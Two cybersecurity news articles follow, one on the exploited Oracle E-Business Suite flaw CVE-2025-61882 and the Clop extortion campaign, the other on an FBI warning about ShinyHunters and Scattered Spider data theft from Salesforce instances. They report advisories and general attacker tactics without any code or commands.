FBI, UK gov’t urge orgs to patch Oracle E-Business vuln after alleged Clop campaign Oracle issued a security alert this weekend urging customers to patch a vulnerability currently being exploited by cybercriminals. Oracle’s security alert said CVE-2025-61882 impacts the Oracle E-Business Suite — a widely-used business platform containing several applications that manage finance, human resources and supply chain functions. Oracle explained that the vulnerability, which carries a severity score of 9.8 out of 10, could be exploited remotely “without the need for a username and password.” Customers need to install patches from an October 2023 update before installing the new patch issued on Saturday. Oracle also shared indicators of compromise that organizations can use to support their efforts to detect and contain potential breaches. FBI Assistant Director Brett Leatherman said “this is ‘stop-what-you’re-doing and patch immediately’ vulnerability.” “The bad guys are likely already exploiting in the wild, and the race is on before others identify and target vulnerable systems,” he said in a Sunday evening post on LinkedIn. “In plain terms: if your [E-Business Suite] environment is reachable on the network, and especially if it’s internet facing, it’s at risk for full compromise.” Leatherman added that Oracle E-Business Suite customers should isolate potentially affected servers and monitor threat intelligence channels because “exploit activity could escalate quickly.” “Oracle EBS remains a backbone ERP system for major enterprises and public-sector environments, which means attackers have every incentive to weaponize this one fast,” he explained. “If you suspect compromise - please connect with us.” Cybersecurity agencies in the U.K. and Singapore published their own advisories with similar guidance. The U.S. Cybersecurity and Infrastructure Security Agency added the bug to its Known Exploited Vulnerabilities catalog and ordered all federal civilian agencies to patch it by October 28. Mandiant chief technology officer Charles Carmakal tied CVE-2025-61882 to a campaign unveiled last week by the cybercriminal group Clop. The group is currently attempting to extort corporate executives by threatening to leak sensitive information they claim was stolen through the Oracle E-Business Suite. Oracle confirmed the campaign but initially said the hackers were exploiting bugs that had been addressed in a July update, without specifying which vulnerabilities were being used. On Sunday, Carmakal said Clop “exploited multiple vulnerabilities in Oracle [E-Business Suite] which enabled them to steal large amounts of data from several victims in August 2025.” “Clop has been sending extortion emails to several victims since last Monday. However, please note they may not have attempted to reach out to all victims yet,” he said. “Multiple vulnerabilities were exploited including vulnerabilities that were patched in Oracle's July 2025 update as well as one that was patched this weekend (CVE-2025-61882).” He added that organizations should “examine whether they were already compromised.” Several other cybersecurity experts confirmed that Clop has been exploiting multiple vulnerabilities in Oracle E-Business Suite since August. Jake Knott, principal security researcher at cybersecurity firm watchTowr, said exploit code for CVE-2025-61882 became public by Monday. Jonathan Greig is a Breaking News Reporter at Recorded Future News. Jonathan has worked across the globe as a journalist since 2014. Before moving back to New York City, he worked for news outlets in South Africa, Jordan and Cambodia. He previously covered cybersecurity at ZDNet and TechRepublic.

FBI warns of Scattered Spider and ShinyHunters attacks on Salesforce platforms Hackers connected to the Scattered Spider and ShinyHunters cybercriminal operations are extorting organizations for exorbitant ransoms after stealing data from Salesforce, the FBI warned. The agency released a flash notice on Friday with information about an ongoing data theft campaign that has impacted hundreds of businesses this year. The FBI refers to the hackers as both UNC6040 and UNC6395 and by their colloquial names of ShinyHunters and Scattered Spider, respectively. After months spent breaching some of the largest companies in the world, the hackers are now attempting to extort victim organizations — threatening to leak troves of customer data, business documents and more. The FBI did not say how many victims have received extortion emails demanding payment in cryptocurrency but they noted that the monetary demands have varied widely and are made at seemingly random times. Some extortion incidents were initiated days after data exfiltration while others took place months later. The FBI said the campaign began in October 2024 when members of the group gained access to organizations through social engineering attacks that involved contacting call centers and posing as IT employees. That scheme typically gave the cybercriminals access to employee credentials that were then leveraged to access Salesforce instances holding customer data. In other cases, the hackers used phishing emails or texts to take over employees’ phones or computers. The hackers evolved their tactics throughout the summer, switching to exploiting third-party applications that organizations linked to their Salesforce instances. “UNC6040 threat actors have deceived victims into authorizing malicious connected apps to their organization's Salesforce portal,” the FBI said. “This grants UNC6040 threat actors significant capabilities to access, query, and exfiltrate sensitive information directly from the compromised Salesforce customer environments.” By August, the hackers began targeting the Salesloft Drift application, an AI chatbot that can be integrated with Salesforce. The tactic allowed them to bypass traditional defenses like multifactor authentication, login monitoring and password resets, the FBI explained. In some cases, the FBI has found that the hackers created malicious applications within Salesforce trial accounts that allowed them to register connected apps without using a legitimate corporate account. On Monday, Reuters and the BBC confirmed that Kering — the French conglomerate that owns Gucci, Balenciaga and Alexander McQueen — was attacked by the same ShinyHunters cybercriminals. ShinyHunters told the BBC that it stole information connected to 7.4 million unique email addresses. The hackers told another news outlet that they stole the information in late 2024 but only began negotiating a ransom in June 2025. Last week, a critical government agency in Vietnam confirmed that millions of financial records were stolen in an attack claimed by ShinyHunters. The cybercriminals previously took credit for devastating campaigns targeting giants in the insurance, retail and aviation industries. The FBI provided indicators of compromise that potential victims can use to see whether they have been affected by the hacking campaigns and urged companies to train call center employees on the tactics used. The agency also said companies should limit the privileges of almost every employee account, enforce IP-based access restrictions, monitor API usage and more. Experts said the information provided by the FBI showed how sophisticated the actors are at abusing legitimate tools for nefarious purposes, like Azure cloud infrastructure, virtual servers, Tor exit nodes and proxy services to obfuscate their origin. Scattered retirement? The FBI notice came shortly after the group made several posts on Telegram claiming to be retiring. The group blamed a recent string of arrests, law enforcement activity and criminal convictions against members as their reason for ceasing the current operation. Cybersecurity experts were dubious about the disbanding claims, noting that cybercriminal operations often make similar claims before reconstituting under different names. Some theorized the hackers are likely going to enjoy the spoils of their recent extortion campaigns before returning to cybercriminal activity. Sam Rubin, a senior official with Palo Alto Networks’ Unit 42, said recent arrests may have prompted the group to lay low, but history says such activity is often temporary. “Groups like this splinter, rebrand, and resurface — much like ShinyHunters. Even if public operations pause, the risks remain: stolen data can resurface, undetected backdoors may persist, and actors may re-emerge under new names,” he said. “Silence from a threat group does not equal safety.” Jonathan Greig is a Breaking News Reporter at Recorded Future News. Jonathan has worked across the globe as a journalist since 2014. Before moving back to New York City, he worked for news outlets in South Africa, Jordan and Cambodia. He previously covered cybersecurity at ZDNet and TechRepublic.